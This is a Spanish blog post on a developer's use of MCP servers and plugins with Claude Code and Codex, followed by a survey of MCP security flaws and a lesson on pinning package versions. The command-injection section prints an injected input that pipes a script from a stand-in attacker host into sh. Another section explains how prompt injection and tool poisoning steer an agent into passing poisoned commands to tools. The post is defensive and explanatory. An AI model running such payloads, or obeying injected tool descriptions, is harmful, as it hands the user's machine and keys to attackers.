Plugins, MCPs y el problema de seguridad que casi nadie mira
Oct 7, 2026 • @sergio
Los plugins y los MCPs convierten a un asistente de IA en un agente que hace cosas: maneja un navegador, lee documentación, analiza código. Uso cuatro en Snowtrekk.com y los considero indispensables. Pero en los primeros dos meses de 2026 se registraron más de 30 vulnerabilidades en este ecosistema. Este primer informe explica qué son, para qué sirven y qué riesgo tienen.
Qué son: MCPs, plugins y skills
Un asistente de código como Claude Code, sin agregados, lee y escribe archivos y corre comandos en la terminal. Nada más. Todo lo que hace más allá de eso viene de alguno de estos tres agregados.
MCP (Model Context Protocol). Es un conector estándar que le suma herramientas al modelo. Con un MCP puede manejar un navegador, consultar documentación externa o recorrer la estructura de un repositorio. Son, en la práctica, manos y ojos extra. Se instalan una vez y quedan disponibles.
Plugin. Es un paquete que puede traer varias cosas juntas: comandos, skills, automatismos y hasta MCPs. Es la forma de instalar un conjunto de capacidades de una sola vez.
Skill. Es un conjunto de instrucciones para un tipo de tarea, por ejemplo cómo hacer una revisión de seguridad. No agrega capacidades técnicas: agrega método.
La diferencia práctica, según el autor, es que sin estas herramientas el modelo adivina, y con ellas verifica.
Lo que uso en Snowtrekk
Tengo instalados cuatro MCPs y un plugin. Los MCPs están configurados con alcance global, así que sirven en todos mis repositorios sin reinstalar.
Herramienta | Tipo | Para qué sirve | Uso concreto en Snowtrekk |
Playwright | MCP | Maneja un navegador real: navega, hace clics, completa formularios y verifica resultados | Pruebas de punta a punta de la web. En mapas Leaflet aprendió que hay que usar clics con coordenadas reales, no eventos simulados |
Chrome DevTools | MCP | Le da al modelo la misma vista que las herramientas de desarrollador del navegador: consola, red, rendimiento | Diagnosticar errores del frontend sin copiar y pegar mensajes. Por ejemplo, ver si una cookie de sesión viaja o no en un pedido |
Context7 | MCP | Trae documentación actualizada de cada librería, según su versión | Evita que el modelo escriba código con funciones viejas o inventadas de React, Vite o Express |
code-graph-mcp | MCP | Arma el mapa de qué función llama a cuál y responde qué se rompe si se toca algo | Antes de un cambio que atraviesa muchos archivos, muestra todo lo que depende de cada pieza |
ponytail | Plugin | Hace que el agente reutilice código existente y funciones nativas antes de escribir código nuevo | Instalado en el frontend y el backend de la web. Según el autor, ahorra tokens |
También tengo en evaluación un MCP de memoria persistente entre sesiones y varias herramientas de scraping. Las cubrire en próximas ediciones cuando tenga resultados concretos.
Trabajo con VS Code y Android Studio
No uso un solo asistente para todo. Reparto el trabajo entre dos modelos, cada uno en el entorno donde rinde más.
Entorno | Asistente | Qué hace ahí | Por qué |
Android Studio | Codex | La app Android de Snowtrekk, escrita en Kotlin | Codex maneja muy bien Kotlin |
VS Code | Claude Code | La web de Snowtrekk y la herramienta interna de recolección de datos | Claude escribe el resto del código del proyecto |
Navegador (claude.ai) | Claude | Arquitectura y diseño, trabajando junto al autor | Claude funciona como arquitecto del proyecto |
La elección tuvo dos orígenes. Primero, recomendaciones de distintas personas que ya trabajaban con estas herramientas. Segundo, una razón práctica: aprovechar las suscripciones que ya pagaba. Pero el factor decisivo fue el lenguaje. Para Kotlin, Codex dio mejores resultados; para la arquitectura y el resto del código, Claude.
Esta división tuvo un costo: dos asistentes significan dos contextos separados. Pero la frontera se está achicando. En marzo de 2026, OpenAI publicó un plugin oficial para llamar a Codex desde dentro de Claude Code. Cómo funciona en realidad, qué comparte y qué no, se analiza en la próxima edición: Claude y Codex juntos: una forma de comunicación
Seguridad: más de 30 vulnerabilidades en 60 días
Entre enero y febrero de 2026 se registraron más de 30 CVEs contra servidores y herramientas MCP. Un CVE es el identificador público de una vulnerabilidad confirmada en un software concreto. Para dimensionarlo: en todo 2025 se habían reportado alrededor de 15.
La causa no fueron ataques sofisticados. El ecosistema creció mucho más rápido que la revisión de seguridad: ya hay más de 10.000 servidores MCP públicos, muchos escritos por desarrolladores individuales. Los errores son clásicos: no validar lo que entra, no pedir autenticación y confiar en las descripciones de las herramientas.
Los ataques más frecuentes son estos:
- Inyección de comandos. El más común: 13 de esos 30 CVEs. Se explica en la sección siguiente.
- Path traversal. El MCP debería leer solo una carpeta, pero con rutas del tipo ../../ se escapa y lee cualquier archivo, incluidas las claves.
- Tool poisoning. El modelo lee la descripción de cada herramienta para saber cómo usarla. Un MCP malicioso esconde ahí instrucciones que el usuario nunca ve y el modelo obecece.
- Rug pull. El MCP es legítimo al instalarlo y una actualización posterior le cambia el comportamiento en silencio.
- Servidores expuestos. MCPs que escuchan en la red sin pedir contraseña.
Algunos casos documentados:
Fecha | Caso | Qué pasó |
Enero 2026 | Servidor MCP de Git de Anthropic | Tres CVEs, entre ellos path traversal e inyección de argumentos. Ni el creador del protocolo quedó afuera |
Septiembre 2025 | postmark-mcp | Una versión maliciosa copiaba en secreto cada email procesado a un dominio externo. Primer caso registrado de MCP malicioso en la cadena de suministro |
Julio 2025 | mcp-remote | Inyección de comandos con gravedad 9.6 sobre 10, en un paquete con más de 437.000 descargas |
Julio 2025 | Servidores expuestos | Trend Micro encontró 492 servidores MCP abiertos a internet sin autenticación ni cifrado |
Una advertencia sobre las estadísticas: los porcentajes de "servidores vulnerables" varían mucho según quién mide. Una auditoría independiente encontró que algunos escáneres automáticos dan alrededor de 78% de falsas alarmas. Los CVEs, en cambio, son vulnerabilidades confirmadas una por una.
Qué es la inyección de comandos
Ocurre cuando un programa arma un comando para la terminal usando texto que viene de afuera, y ese texto trae escondido un segundo comando. La máquina ejecuta los dos.
Una analogía: alguien le pide a un empleado "traeme la carpeta del cliente [nombre]". Si el nombre es "García", todo bien. Si alguien completa el formulario con "García, y de paso traeme la caja fuerte", y el empleado cumple la frase entera, hay una inyección. El problema es que el empleado no distingue el dato de la orden.
En código se ve así. Un MCP que hace ping a un servidor que le indica el modelo:
const { exec } = require('child_process');
function ping(host) {
exec(`ping -c 1 ${host}`); // pega el texto recibido dentro del comando
}
Si llega google.com, se ejecuta un ping normal. Si llega google.com; curl http://atacante.com/x.sh | sh, la terminal recibe esto:
ping -c 1 google.com; curl http://atacante.com/x.sh | sh
El punto y coma significa "terminá este comando y ejecutá el siguiente". La máquina hace el ping, baja un programa de un servidor ajeno y lo corre con los permisos del usuario. Puede leer claves, repositorios y todo lo demás.
Por qué es peor con IA
En una aplicación tradicional, el atacante tiene que escribir el texto malicioso en un formulario. Con un MCP, el parámetro lo arma el modelo, y el modelo lee contenido de afuera: páginas web, documentación, issues de GitHub, emails.
Si en ese contenido hay instrucciones escondidas, el atacante nunca toca la máquina. Le habla al modelo a través del texto (inyección de prompt), el modelo le pasa el comando envenenado al MCP y el MCP lo ejecuta. Es una cadena: empieza como inyección de prompt y termina como inyección de comandos.
Cómo se previene
La regla es no armar nunca un comando pegando texto. En el mismo ejemplo, la versión segura pasa los argumentos por separado:
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', host]); // host viaja como dato, nunca como comando
Sin una terminal de por medio, el punto y coma es solo un carácter raro en un nombre inválido. El ping falla y no pasa nada más. A eso se suma validar la entrada: si se espera un nombre de servidor, se rechaza todo lo que no tenga esa forma.
Lección de producción: la versión sin fijar
Revisando su propia instalación, encontré un riesgo que no había visto. Uno de mis MCPs estaba configurado así:
npx -y @sdsrs/code-graph
Sin número de versión, npx descarga la última publicada cada vez que el MCP arranca. Si alguien compromete la cuenta del autor del paquete y publica una versión maliciosa, la próxima sesión la ejecuta sin preguntar. Es exactamente lo que pasó con postmark-mcp.
La solución es fijar la versión que funciona y actualizar a mano, después de revisar qué cambió:
npx -y @sdsrs/code-graph@x.y.z
El riesgo no es parejo entre los cuatro MCPs. Playwright, Chrome DevTools y Context7 vienen de empresas con equipos de seguridad propios. code-graph-mcp es de un desarrollador individual, así que es el que más atención requiere. A favor: los cuatro corren en la máquina local y no escuchan en la red, así que la categoría de "servidor expuesto" no aplica.
Como próximo paso, tengo pendiente pasar un escáner de seguridad para MCPs sobre mi instalación. Los candidatos son MCP-Scan (de Snyk) y mcpscan, que detectan justamente los patrones de esta nota.
Entonces, ¿vale la pena?
Para mi, sí. Playwright y Chrome DevTools eliminaron el ciclo de "probá en el navegador y contame qué ves". code-graph-mcp hace que los cambios grandes dejen de ser a ciegas. La diferencia es que el modelo pasa de adivinar a verificar.
Pero cada MCP tiene dos costos. Uno es de contexto: su descripción se carga en cada sesión y consume tokens aunque no se use. El otro es de seguridad: corre con los mismos permisos que el usuario, así que instalarlo equivale a darle acceso a la máquina a código de terceros.
La conclusión práctica: pocos MCPs, bien elegidos, de fuentes confiables y con versión fijada. Cuatro herramientas que se entienden rinden más que veinte instaladas por si acaso.
Fuentes
- MCP Security Statistics 2026 — Practical DevSecOps (casos, CVEs y cifras)
- MCP Security 2026: 30 CVEs in 60 Days
- MCP Security: 30 CVEs in 60 Days — Noqta (comparación con 2025)
- The MCP attack your code review cannot see — DEV Community (mcpscan)
- OpenAI Releases Codex Plugin That Runs Inside Anthropic's Claude Code — Unite.AI
- Claude Code Codex plugin — GIGAZINE
